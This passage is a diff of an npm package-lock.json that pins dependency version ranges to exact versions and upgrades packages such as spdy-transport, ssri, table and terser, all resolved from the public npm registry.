+ "integrity": "sha512-HeZS3PBdMA+sZSu0qwpCxl3DeALD5ASx8pAX0jZdKXSpPWbQ6SYGnlg3BBmYLx5LtiZrmkAZfErCm2oECBcioA==",
"dev": true,
"requires": {
- "debug": "^2.6.8",
- "handle-thing": "^1.2.5",
- "http-deceiver": "^1.2.7",
- "safe-buffer": "^5.0.1",
- "select-hose": "^2.0.0",
- "spdy-transport": "^2.0.18"
+ "debug": "4.1.1",
+ "handle-thing": "2.0.0",
+ "http-deceiver": "1.2.7",
+ "select-hose": "2.0.0",
+ "spdy-transport": "3.0.0"
+ },
+ "dependencies": {
+ "debug": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
+ "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
+ }
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ }
}
},
"spdy-transport": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-2.1.0.tgz",
- "integrity": "sha512-bpUeGpZcmZ692rrTiqf9/2EUakI6/kXX1Rpe0ib/DyOzbiexVfXkw6GnvI9hVGvIwVaUhkaBojjCZwLNRGQg1g==",
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz",
+ "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==",
"dev": true,
"requires": {
- "debug": "^2.6.8",
- "detect-node": "^2.0.3",
- "hpack.js": "^2.1.6",
- "obuf": "^1.1.1",
- "readable-stream": "^2.2.9",
- "safe-buffer": "^5.0.1",
- "wbuf": "^1.7.2"
+ "debug": "4.1.1",
+ "detect-node": "2.0.4",
+ "hpack.js": "2.1.6",
+ "obuf": "1.1.2",
+ "readable-stream": "3.4.0",
+ "wbuf": "1.7.3"
},
"dependencies": {
- "isarray": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
- "dev": true
+ "debug": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
+ "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
+ }
},
- "process-nextick-args": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
- "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==",
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
"dev": true
},
"readable-stream": {
- "version": "2.3.6",
- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
- "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
+ "version": "3.4.0",
+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.4.0.tgz",
+ "integrity": "sha512-jItXPLmrSR8jmTRmRWJXCnGJsfy85mB3Wd/uINMXA65yrnFo0cPClFIUWzo2najVNSl+mx7/4W8ttlLWJe99pQ==",
"dev": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "inherits": "2.0.3",
+ "string_decoder": "1.3.0",
+ "util-deprecate": "1.0.2"
}
},
+ "safe-buffer": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz",
+ "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==",
+ "dev": true
+ },
"string_decoder": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+ "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
"dev": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.2.0"
}
}
}
@@ -16182,7 +17471,7 @@
"integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==",
"dev": true,
"requires": {
- "extend-shallow": "^3.0.0"
+ "extend-shallow": "3.0.2"
}
},
"sprintf-js": {
@@ -16195,23 +17484,23 @@
"resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.14.1.tgz",
"integrity": "sha1-Ew9Zde3a2WPx1W+SuaxsUfqfg+s=",
"requires": {
- "asn1": "~0.2.3",
- "assert-plus": "^1.0.0",
- "bcrypt-pbkdf": "^1.0.0",
- "dashdash": "^1.12.0",
- "ecc-jsbn": "~0.1.1",
- "getpass": "^0.1.1",
- "jsbn": "~0.1.0",
- "tweetnacl": "~0.14.0"
+ "asn1": "0.2.3",
+ "assert-plus": "1.0.0",
+ "bcrypt-pbkdf": "1.0.1",
+ "dashdash": "1.14.1",
+ "ecc-jsbn": "0.1.1",
+ "getpass": "0.1.7",
+ "jsbn": "0.1.1",
+ "tweetnacl": "0.14.5"
}
},
"ssri": {
- "version": "5.3.0",
- "resolved": "https://registry.npmjs.org/ssri/-/ssri-5.3.0.tgz",
- "integrity": "sha512-XRSIPqLij52MtgoQavH/x/dU1qVKtWUAAZeOHsR9c2Ddi4XerFy3mc1alf+dLJKl9EUIm/Ht+EowFkTUOA6GAQ==",
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.1.tgz",
+ "integrity": "sha512-3Wge10hNcT1Kur4PDFwEieXSCMCJs/7WvSACcrMYrNp+b8kDL1/0wJch5Ni2WrtwEa2IO8OsVfeKIciKCDx/QA==",
"dev": true,
"requires": {
- "safe-buffer": "^5.1.1"
+ "figgy-pudding": "3.5.1"
}
},
"static-extend": {
@@ -16220,8 +17509,8 @@
"integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=",
"dev": true,
"requires": {
- "define-property": "^0.2.5",
- "object-copy": "^0.1.0"
+ "define-property": "0.2.5",
+ "object-copy": "0.1.0"
},
"dependencies": {
"define-property": {
@@ -16230,7 +17519,7 @@
"integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
"dev": true,
"requires": {
- "is-descriptor": "^0.1.0"
+ "is-descriptor": "0.1.6"
}
}
}
@@ -16246,7 +17535,7 @@
"resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz",
"integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==",
"requires": {
- "readable-stream": "^2.0.1"
+ "readable-stream": "2.3.6"
},
"dependencies": {
"isarray": {
@@ -16264,13 +17553,13 @@
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.0",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
}
},
"string_decoder": {
@@ -16278,19 +17567,19 @@
"resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
"integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.1"
}
}
}
},
"stream-browserify": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-2.0.1.tgz",
- "integrity": "sha1-ZiZu5fm9uZQKTkUUyvtDu3Hlyds=",
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-2.0.2.tgz",
+ "integrity": "sha512-nX6hmklHs/gr2FuxYDltq8fJA1GDlxKQCz8O/IM4atRqBH8OORmBNgfvW5gG10GT/qQ9u0CzIvr2X5Pkt6ntqg==",
"dev": true,
"requires": {
- "inherits": "~2.0.1",
- "readable-stream": "^2.0.2"
+ "inherits": "2.0.3",
+ "readable-stream": "2.3.6"
},
"dependencies": {
"isarray": {
@@ -16300,9 +17589,9 @@
"dev": true
},
"process-nextick-args": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
- "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
"dev": true
},
"readable-stream": {
@@ -16311,13 +17600,13 @@
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.1",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
}
},
"string_decoder": {
@@ -16326,7 +17615,7 @@
"integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
"dev": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.1"
}
}
}
@@ -16337,8 +17626,8 @@
"integrity": "sha512-vlMC2f8I2u/bZGqkdfLQW/13Zihpej/7PmSiMQsbYddxuTsJp8vRe2x2FvVExZg7FaOds43ROAuFJwPR4MTZLw==",
"dev": true,
"requires": {
- "end-of-stream": "^1.1.0",
- "stream-shift": "^1.0.0"
+ "end-of-stream": "1.4.1",
+ "stream-shift": "1.0.0"
}
},
"stream-http": {
@@ -16347,11 +17636,11 @@
"integrity": "sha512-+TSkfINHDo4J+ZobQLWiMouQYB+UVYFttRA94FpEzzJ7ZdqcL4uUUQ7WkdkI4DSozGmgBUE/a47L+38PenXhUw==",
"dev": true,
"requires": {
- "builtin-status-codes": "^3.0.0",
- "inherits": "^2.0.1",
- "readable-stream": "^2.3.6",
- "to-arraybuffer": "^1.0.0",
- "xtend": "^4.0.0"
+ "builtin-status-codes": "3.0.0",
+ "inherits": "2.0.3",
+ "readable-stream": "2.3.6",
+ "to-arraybuffer": "1.0.1",
+ "xtend": "4.0.2"
},
"dependencies": {
"isarray": {
@@ -16361,9 +17650,9 @@
"dev": true
},
"process-nextick-args": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
- "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
"dev": true
},
"readable-stream": {
@@ -16372,13 +17661,13 @@
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.1",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
}
},
"string_decoder": {
@@ -16387,7 +17676,7 @@
"integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
"dev": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.1"
}
}
}
@@ -16404,19 +17693,19 @@
"integrity": "sha512-WREzfy0r0zUqp3lGO096wRuUp7ho1X6uo/7DJfTlEi0Iv/4gT7YHqXDjKC2ioVGBZtE8QzsQD9nx1nIuoZ57jQ==",
"dev": true,
"requires": {
- "date-format": "^1.2.0",
- "debug": "^3.1.0",
- "mkdirp": "^0.5.1",
- "readable-stream": "^2.3.0"
+ "date-format": "1.2.0",
+ "debug": "3.2.6",
+ "mkdirp": "0.5.1",
+ "readable-stream": "2.3.6"
},
"dependencies": {
"debug": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
- "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
+ "version": "3.2.6",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
+ "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
"dev": true,
"requires": {
- "ms": "2.0.0"
+ "ms": "2.1.2"
}
},
"isarray": {
@@ -16425,10 +17714,16 @@
"integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
"dev": true
},
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ },
"process-nextick-args": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
- "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
"dev": true
},
"readable-stream": {
@@ -16437,13 +17732,13 @@
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.1",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
}
},
"string_decoder": {
@@ -16452,7 +17747,7 @@
"integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
"dev": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.1"
}
}
}
@@ -16462,8 +17757,8 @@
"resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz",
"integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==",
"requires": {
- "is-fullwidth-code-point": "^2.0.0",
- "strip-ansi": "^4.0.0"
+ "is-fullwidth-code-point": "2.0.0",
+ "strip-ansi": "4.0.0"
},
"dependencies": {
"ansi-regex": {
@@ -16476,7 +17771,7 @@
"resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
"integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
"requires": {
- "ansi-regex": "^3.0.0"
+ "ansi-regex": "3.0.0"
}
}
}
@@ -16498,7 +17793,7 @@
"resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
"integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=",
"requires": {
- "ansi-regex": "^2.0.0"
+ "ansi-regex": "2.1.1"
}
},
"strip-eof": {
@@ -16512,7 +17807,7 @@
"resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-1.0.1.tgz",
"integrity": "sha1-DHlipq3vp7vUrDZkYKY4VSrhoKI=",
"requires": {
- "get-stdin": "^4.0.1"
+ "get-stdin": "4.0.1"
}
},
"strip-json-comments": {
@@ -16527,8 +17822,8 @@
"integrity": "sha512-WXUrLeinPIR1Oat3PfCDro7qTniwNTJqGqv1KcQiL3JR5PzrVLTyNsd9wTsPXG/qNCJ7lzR2NY/QDjFsP7nuSQ==",
"dev": true,
"requires": {
- "loader-utils": "^1.1.0",
- "schema-utils": "^0.4.5"
+ "loader-utils": "1.1.0",
+ "schema-utils": "0.4.7"
},
"dependencies": {
"loader-utils": {
@@ -16537,9 +17832,9 @@
"integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=",
"dev": true,
"requires": {
- "big.js": "^3.1.3",
- "emojis-list": "^2.0.0",
- "json5": "^0.5.0"
+ "big.js": "3.1.3",
+ "emojis-list": "2.1.0",
+ "json5": "0.5.1"
}
}
}
@@ -16555,52 +17850,71 @@
"integrity": "sha512-e900nM8RRtGhlV36KGEU9k65K3mPb1WV70OdjfxlG2EAuM1noi/E/BaW/uMhL7bPEssK8QV57vN3esixjUvcXQ=="
},
"table": {
- "version": "4.0.3",
- "resolved": "https://registry.npmjs.org/table/-/table-4.0.3.tgz",
- "integrity": "sha512-S7rnFITmBH1EnyKcvxBh1LjYeQMmnZtCXSEbHcH6S0NoKit24ZuFO/T1vDcLdYsLQkM188PVVhQmzKIuThNkKg==",
+ "version": "5.4.6",
+ "resolved": "https://registry.npmjs.org/table/-/table-5.4.6.tgz",
+ "integrity": "sha512-wmEc8m4fjnob4gt5riFRtTu/6+4rSe12TpAELNSqHMfF3IqnA+CH37USM6/YR3qRZv7e56kAEAtd6nKZaxe0Ug==",
"dev": true,
"requires": {
- "ajv": "^6.0.1",
- "ajv-keywords": "^3.0.0",
- "chalk": "^2.1.0",
- "lodash": "^4.17.4",
- "slice-ansi": "1.0.0",
- "string-width": "^2.1.1"
+ "ajv": "6.10.2",
+ "lodash": "4.17.15",
+ "slice-ansi": "2.1.0",
+ "string-width": "3.1.0"
},
"dependencies": {
- "ansi-styles": {
- "version": "3.2.1",
- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
- "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+ "ajv": {
+ "version": "6.10.2",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.2.tgz",
+ "integrity": "sha512-TXtUUEYHuaTEbLZWIKUr5pmBuhDLy+8KYtPYdcV8qC+pOZL+NKqYwvWSRrVXHn+ZmRRAu8vJTAznH7Oag6RVRw==",
"dev": true,
"requires": {
- "color-convert": "^1.9.0"
+ "fast-deep-equal": "2.0.1",
+ "fast-json-stable-stringify": "2.0.0",
+ "json-schema-traverse": "0.4.1",
+ "uri-js": "4.2.2"
}
},
- "chalk": {
- "version": "2.4.1",
- "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz",
- "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==",
- "dev": true,
- "requires": {
- "ansi-styles": "^3.2.1",
- "escape-string-regexp": "^1.0.5",
- "supports-color": "^5.3.0"
- }
- },
- "has-flag": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
- "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
+ "ansi-regex": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
+ "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==",
"dev": true
},
- "supports-color": {
- "version": "5.5.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
- "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+ "fast-deep-equal": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz",
+ "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=",
+ "dev": true
+ },
+ "json-schema-traverse": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
+ "dev": true
+ },
+ "lodash": {
+ "version": "4.17.15",
+ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz",
+ "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==",
+ "dev": true
+ },
+ "string-width": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
+ "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
"dev": true,
"requires": {
- "has-flag": "^3.0.0"
+ "emoji-regex": "7.0.3",
+ "is-fullwidth-code-point": "2.0.0",
+ "strip-ansi": "5.2.0"
+ }
+ },
+ "strip-ansi": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
+ "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
+ "dev": true,
+ "requires": {
+ "ansi-regex": "4.1.0"
}
}
}
@@ -16616,9 +17930,171 @@
"resolved": "https://registry.npmjs.org/tar/-/tar-2.2.2.tgz",
"integrity": "sha512-FCEhQ/4rE1zYv9rYXJw/msRqsnmlje5jHP6huWeBZ704jUTy02c5AZyWujpMR1ax6mVw9NyJMfuK2CMDWVIfgA==",
"requires": {
- "block-stream": "*",
- "fstream": "^1.0.12",
- "inherits": "2"
+ "block-stream": "0.0.9",
+ "fstream": "1.0.12",
+ "inherits": "2.0.3"
+ }
+ },
+ "terser": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/terser/-/terser-4.3.1.tgz",
+ "integrity": "sha512-pnzH6dnFEsR2aa2SJaKb1uSCl3QmIsJ8dEkj0Fky+2AwMMcC9doMqLOQIH6wVTEKaVfKVvLSk5qxPBEZT9mywg==",
+ "dev": true,
+ "requires": {
+ "commander": "2.20.0",
+ "source-map": "0.6.1",
+ "source-map-support": "0.5.13"
+ },
+ "dependencies": {
+ "commander": {
+ "version": "2.20.0",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.0.tgz",
+ "integrity": "sha512-7j2y+40w61zy6YC2iRNpUe/NwhNyoXrYpHMrSunaMG64nRnaf96zO/KMQR4OyN/UnE5KLyEBnKHd4aG3rskjpQ==",
+ "dev": true
+ },
+ "source-map": {
+ "version": "0.6.1",
+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+ "dev": true
+ },
+ "source-map-support": {
+ "version": "0.5.13",
+ "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.13.tgz",
+ "integrity": "sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w==",
+ "dev": true,
+ "requires": {
+ "buffer-from": "1.1.1",
+ "source-map": "0.6.1"
+ }
+ }
+ }
+ },
+ "terser-webpack-plugin": {
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.1.tgz",
+ "integrity": "sha512-ZXmmfiwtCLfz8WKZyYUuuHf3dMYEjg8NrjHMb0JqHVHVOSkzp3cW2/XG1fP3tRhqEqSzMwzzRQGtAPbs4Cncxg==",
+ "dev": true,
+ "requires": {
+ "cacache": "12.0.3",
+ "find-cache-dir": "2.1.0",
+ "is-wsl": "1.1.0",
+ "schema-utils": "1.0.0",
+ "serialize-javascript": "1.9.1",
+ "source-map": "0.6.1",
+ "terser": "4.3.1",
+ "webpack-sources": "1.4.3",
+ "worker-farm": "1.7.0"
+ },
+ "dependencies": {
+ "find-cache-dir": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz",
+ "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==",
+ "dev": true,
+ "requires": {
+ "commondir": "1.0.1",
+ "make-dir": "2.1.0",
+ "pkg-dir": "3.0.0"
+ }
+ },
+ "find-up": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
+ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
+ "dev": true,
+ "requires": {
+ "locate-path": "3.0.0"
+ }
